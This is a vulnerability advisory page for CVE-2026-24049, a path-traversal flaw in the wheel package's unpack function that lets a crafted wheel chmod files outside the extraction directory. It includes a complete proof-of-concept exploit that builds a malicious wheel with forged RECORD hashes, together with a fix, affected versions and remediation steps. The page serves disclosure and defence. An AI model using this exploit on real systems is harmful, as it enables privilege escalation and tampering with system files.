CVE-2026-24049: wheel Allows Arbitrary File Permission Modification via Path Traversal

Published Jan 22, 2026
·
Updated

Summary - Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification. - Root Cause Component: wheel.cli.unpack.unpack function. - Affected Packages: 1. wheel (Upstream source) 2. setuptools (Downstream, vendors wheel) - Severity: High (Allows modifying system file permissions).

Details The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Vulnerable Code Snippet (present in both wheel and setuptools/vendor/wheel) for zinfo in wf.filelist: wf.extract(zinfo, destination) # (1) Extraction is handled safely by zipfile

# (2) VULNERABILITY: # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'. # If zinfo.filename contains "../", this targets files outside the destination. permissions = zinfo.externalattr >> 16 & 0o777 destination.joinpath(zinfo.filename).chmod(permissions)

PoC I have confirmed this exploit works against the unpack function imported from setuptools.vendor.wheel.cli.unpack.

Prerequisites: pip install setuptools

Step 1: Generate the Malicious Wheel (genpoc.py) This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list. import zipfile import hashlib import base64 import os

def urlsafeb64encode(data): """ Helper function to encode data using URL-safe Base64 without padding. Required by the Wheel file format specification. """ return base64.urlsafeb64encode(data).rstrip(b'=').decode('ascii')

def gethashandsize(databytes): """ Calculates SHA-256 hash and size of the data. These values are required to construct a valid 'RECORD' file, which is used by the 'wheel' library to verify integrity. """ digest = hashlib.sha256(databytes).digest() hashstr = "sha256=" + urlsafeb64encode(digest) return hashstr, str(len(databytes))

def createevilwheelv4(filename="evil-1.0-py3-none-any.whl"): print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}")

# 1. Prepare Standard Metadata Content # These are minimal required contents to make the wheel look legitimate. wheelcontent = b"Wheel-Version: 1.0\nGenerator: bdistwheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n" metadatacontent = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n" # 2. Define Malicious Payload (Path Traversal) # The content doesn't matter, but the path does. payloadcontent = b"PWNED by Path Traversal"

# [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../' # The vulnerability allows 'chmod' to affect this path directly. maliciouspath = "../../poctarget.txt"

# 3. Calculate Hashes for Integrity Check Bypass # The 'wheel' library verifies if the file hash matches the RECORD entry. # To bypass this check, we calculate the correct hash for our malicious file. wheelhash, wheelsize = gethashandsize(wheelcontent) metadatahash, metadatasize = gethashandsize(metadatacontent) payloadhash, payloadsize = gethashandsize(payloadcontent)

# 4. Construct the 'RECORD' File # The RECORD file lists all files in the wheel with their hashes. # CRITICAL: We explicitly register the malicious path ('../../poctarget.txt') here. # This tricks the 'wheel' library into treating the malicious file as a valid, verified component. recordlines = [ f"evil-1.0.dist-info/WHEEL,{wheelhash},{wheelsize}", f"evil-1.0.dist-info/METADATA,{metadatahash},{metadatasize}", f"{maliciouspath},{payloadhash},{payloadsize}", # <-- Authenticating the malicious path "evil-1.0.dist-info/RECORD,," ] recordcontent = "\n".join(recordlines).encode('utf-8')

# 5. Build the Zip File with zipfile.ZipFile(filename, "w") as zf: # Write standard metadata files zf.writestr("evil-1.0.dist-info/WHEEL", wheelcontent) zf.writestr("evil-1.0.dist-info/METADATA", metadatacontent) zf.writestr("evil-1.0.dist-info/RECORD", recordcontent)

# [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file # We need to set specific permission bits to trigger the vulnerability. zinfo = zipfile.ZipInfo(maliciouspath) # Set external attributes to 0o777 (rwxrwxrwx) # Upper 16 bits: File type (0o100000 = Regular File) # Lower 16 bits: Permissions (0o777 = World Writable) # The vulnerable 'unpack' function will blindly apply this '777' to the system file. zinfo.externalattr = (0o100000 | 0o777) << 16 zf.writestr(zinfo, payloadcontent)

print("[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.")

if name == "main": createevilwheelv4()

Step 2: Run the Exploit (exploit.py) from pathlib import Path import sys

Demonstrating impact on setuptools try: from setuptools.vendor.wheel.cli.unpack import unpack print("[] Loaded unpack from setuptools") except ImportError: from wheel.cli.unpack import unpack print("[] Loaded unpack from wheel")

1. Setup Target (Read-Only system file simulation) target = Path("poctarget.txt") target.writetext("SENSITIVE CONFIG") target.chmod(0o400) # Read-only print(f"[] Initial Perms: {oct(target.stat().stmode)[-3:]}")

2. Run Vulnerable Unpack The wheel contains "../../poctarget.txt". unpack() will extract safely, BUT chmod() will hit the actual target file. try: unpack("evil-1.0-py3-none-any.whl", "unpackdest") except Exception as e: print(f"[!] Ignored expected extraction error: {e}")

3. Check Result finalperms = oct(target.stat().stmode)[-3:] print(f"[] Final Perms: {finalperms}")

if finalperms == "777": print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!") else: print("[-] Attack failed.")

result: <img width="806" height="838" alt="image" src="https://github.com/user-attachments/assets/f750eb3b-36ea-445c-b7f4-15c14eb188db" /> Impact Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts.

Recommended Fix The unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract().

Suggested Patch: extract() returns the actual path where the file was written extractedpath = wf.extract(zinfo, destination)

Only apply chmod if a file was actually written if extractedpath: permissions = zinfo.externalattr >> 16 & 0o777 Path(extractedpath).chmod(permissions)

Other sources

wheel is a command line tool for manipulating Python wheel files, as defined in PEP 427. In versions 0.40.0 through 0.46.1, the unpack function is vulnerable to file permission modification through mishandling of file permissions after extraction. The logic blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files), allowing for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. This issue has been fixed in version 0.46.2.

NVD

Affected Software

4 affected componentsFixes available
pypi/wheel<=0.46.1
pip/wheel>=0.40.0<=0.46.1
0.46.2
Wheel Project Wheel Python>=0.40.0<0.46.2
IBM IBM® Db2® on Cloud Pak for Data and Db2 Warehouse on Cloud Pak for Data<=v4.8 v5.0v5.1v5.2v5.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/wheel to a version that resolves this vulnerability.

    Fixed in 0.46.2
  2. Upgrade

    Upgrade wheel.cli.unpack.unpack function (wheel library / setuptools._vendor/wheel) to a version that resolves this vulnerability.

    Fixed in 0.46.2
  3. Configuration

    In the unpack function, do not use the archive header field `zinfo.filename` for post-extraction chmod. Instead, use the sanitized path returned by `wf.extract(zinfo, destination)` (e.g., `extracted_path = wf.extract(zinfo, destination)` then `Path(extracted_path).chmod(permissions)`), so chmod cannot target files outside the extraction directory.

    wheel.cli.unpack.unpack (in wheel and in setuptools._vendor/wheel) post-extraction chmod path source = do not use zinfo.filename

Event History

Jan 22, 2026
CVE Published
via MITRE·04:02 AM
Data Sourced
via MITRE·04:02 AM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·05:01 AM
DescriptionSeverityAffected Software
Data Sourced
via NVD·05:16 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:16 AM
RemedyAffected Software
Advisory Published
via GitHub·06:02 PM
Data Sourced
via GitHub·06:02 PM
DescriptionSeverityWeaknessAffected Software
Jun 19, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-24049?

CVE-2026-24049 is considered a high severity vulnerability due to the potential for arbitrary file permission modification.

2

How do I fix CVE-2026-24049?

To fix CVE-2026-24049, upgrade the wheel package to version 0.46.2 or later.

3

Which versions of the wheel are affected by CVE-2026-24049?

CVE-2026-24049 affects wheel versions up to and including 0.46.1.

4

What type of vulnerability is CVE-2026-24049?

CVE-2026-24049 is a path traversal vulnerability that allows arbitrary file permission modification.

5

Where can I find more information about CVE-2026-24049?

For more information on CVE-2026-24049, refer to the GitHub security advisories for the wheel package.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203